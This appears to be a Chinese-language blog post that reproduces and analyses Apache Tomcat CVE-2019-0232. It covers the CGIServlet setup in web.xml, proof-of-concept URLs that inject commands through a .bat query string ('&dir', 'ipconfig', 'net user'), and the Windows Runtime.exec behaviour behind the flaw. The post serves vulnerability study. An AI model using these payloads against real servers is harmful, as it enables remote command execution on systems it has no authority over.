Loading

Tomcat CVE-2019-0232 Rce 漏洞复现&分析

0x01 前言

这个漏洞的存在有几个前提条件:

1、开启CGIServer

2、存在xxx.bat

3、版本限制

0x02 环境搭建

该漏洞的影响范围为

  • Apache Tomcat 9.0.0.M1 to 9.0.17
  • Apache Tomcat 8.5.0 to 8.5.39
  • Apache Tomcat 7.0.0 to 7.0.93

环境相关:

OS:  windows10
WebServer:  apache-tomcat-8.5.2-windows-x64.zip
Jdk:  jdk-8u20-windows-x64

(1)修改web.xml,启用CGIServlet

web.xml位置位于apache-tomcat-8.5.2\conf\web.xml,

image-20201015112239035

以及添加以下内容

image-20201015112356102

具体内容贴在这里

<servlet>
    <servlet-name>cgi</servlet-name>
    <servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
    <init-param>
      <param-name>cgiPathPrefix</param-name>
      <param-value>WEB-INF/cgi-bin</param-value>
    </init-param>
    <init-param>
      <param-name>enableCmdLineArguments</param-name>
      <param-value>true</param-value>
    </init-param>
    <init-param>
      <param-name>executable</param-name>
      <param-value></param-value>
    </init-param>
    <load-on-startup>5</load-on-startup>
</servlet>

以及

<servlet-mapping>
    <servlet-name>cgi</servlet-name>
    <url-pattern>/cgi-bin/*</url-pattern>
</servlet-mapping>

在目录apache-tomcat-8.5.2\webapps\ROOT\WEB-INF下创建cgi-bin目录,且创建一个bat,内容随便,这里为

echo 123

切到tomcat的bin目录启动tomcat

catalina.bat start

访问8080端口可以看到tomcat首页。

image-20201015150552546

0x03 漏洞复现

poc:

http://localhost:8080/cgi-bin/1.bat?&dir
http://localhost:8080/cgi-bin/1.bat?&C:\Windows\System32\ipconfig.exe

image-20201015151751930

image-20201015152316508

0x04 漏洞分析

可以直接参考这篇文章,文章讲得非常清晰

https://xz.aliyun.com/t/4875

这里做个简要的补充,CGIServer的核心代码在于这里tomcat\java\org\apache\catalina\servlets\CGIServlet.java

先提前把结论说一下,该漏洞主要存在问题在于CGIServlet中对cgi-bin的请求的调用使用的是Runtime.getruntime.exec(String[] args)的方式进行命令执行。

正常的linux的tomcat请求中若携带的请求a.sh?&dir,则exec执行的时候dir只会被当成字符串参数。但是在windows中的该版本的a.bat?&dir下会被&dir回被当成a.bat&dir进行命令执行。

这是因为runtime.getRuntime.exec在linux和windows中的底层实现方式不一样。

(1)配置文件分析

从整个流程来分析,首先从配置文件看起,conf/web.xml

我们配置了一个servlet

<servlet>
    <servlet-name>cgi</servlet-name>
    <servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
    <init-param>
      <param-name>cgiPathPrefix</param-name>
      <param-value>WEB-INF/cgi-bin</param-value>
    </init-param>
    <init-param>
      <param-name>enableCmdLineArguments</param-name>
      <param-value>true</param-value>
    </init-param>
    <init-param>
      <param-name>executable</param-name>
      <param-value></param-value>
    </init-param>
    <load-on-startup>5</load-on-startup>
</servlet>
<servlet-mapping>
    <servlet-name>cgi</servlet-name>
    <url-pattern>/cgi-bin/*</url-pattern>
</servlet-mapping>

可以简单查看其中的关联

image-20201015191940644

所以上面的配置当我们访问/cgi-bin/*的时候则数据流指向org.apache.catalina.servlets.CGIServlet,而在编写servlet时,得继承servlet类,并重写相应的方法。如doGet和doPost方法等等,doGet方法顾名思义,其方法主要是处理get请求的数据。

image-20201015194941905

重写doGet方法

image-20201015194643430

(2)doGet方法分析

从poc分析得知,该poc是通过get方法进行执行的,因此我们直接跟踪上面的doGet方法,可以看到通过run方法进行调用bat文件

image-20201015203823847

跟踪run方法

image-20201015213053783

其command和params都是通过req进行获取,这里不详细展开了

image-20201015213326160

从cgi环境对象中获取信息

image-20201015213435460

(3)CGIServlet分析

从上面截图的关键点中我们发现cmdAndArgs在两次添加完数据之后,传给runtime进行执行。在执行之前该数组变量的内容为

image-20201015221000724

image-20201015213053783

其中command和params

cmdAndArgs.add(command);
cmdAndArgs.addAll(params);

command是cgi-bin后面紧跟的bat后缀文件名,params为参数,其两者赋值是从上面两张图中的cgiEnv.getParameter()中进行取值的。

image-20201016150908938

cmdLineParameter添加命令行参数

image-20201016151849801

但如果传入的payload是

http://localhost:8080/cgi-bin/1.bat?&C%3a%5cWindows%5cSystem32%5cnet+user

则cmdLineParameter的值为

{"C:/Windows/System32/net","user"}

因为第785行,将字符串通过”+“进行分隔操作。

所以最终cmdAndArgs参数的值为

{"1.bat","&C:/cWindows/System32/net","user"}

(4) 漏洞点

主要漏洞点在于runtime.getRuntime.exec()的底层调用,linux跟windows的底层实现不一样,windows会把后面所有的参数当成命令执行,以及&符号直接做拼接。windows会执行&符号后面的命令

image-20201019191845384

而linux则直接当成参数当成参数而不是简单的拼接,可以看到ifconfig并没有被执行。

linuxruntime

0x05 参考

https://blog.csdn.net/chuang504321176/article/details/53319377

posted @ 2021-02-06 10:32  0x28  阅读(455)  评论(0编辑  收藏  举报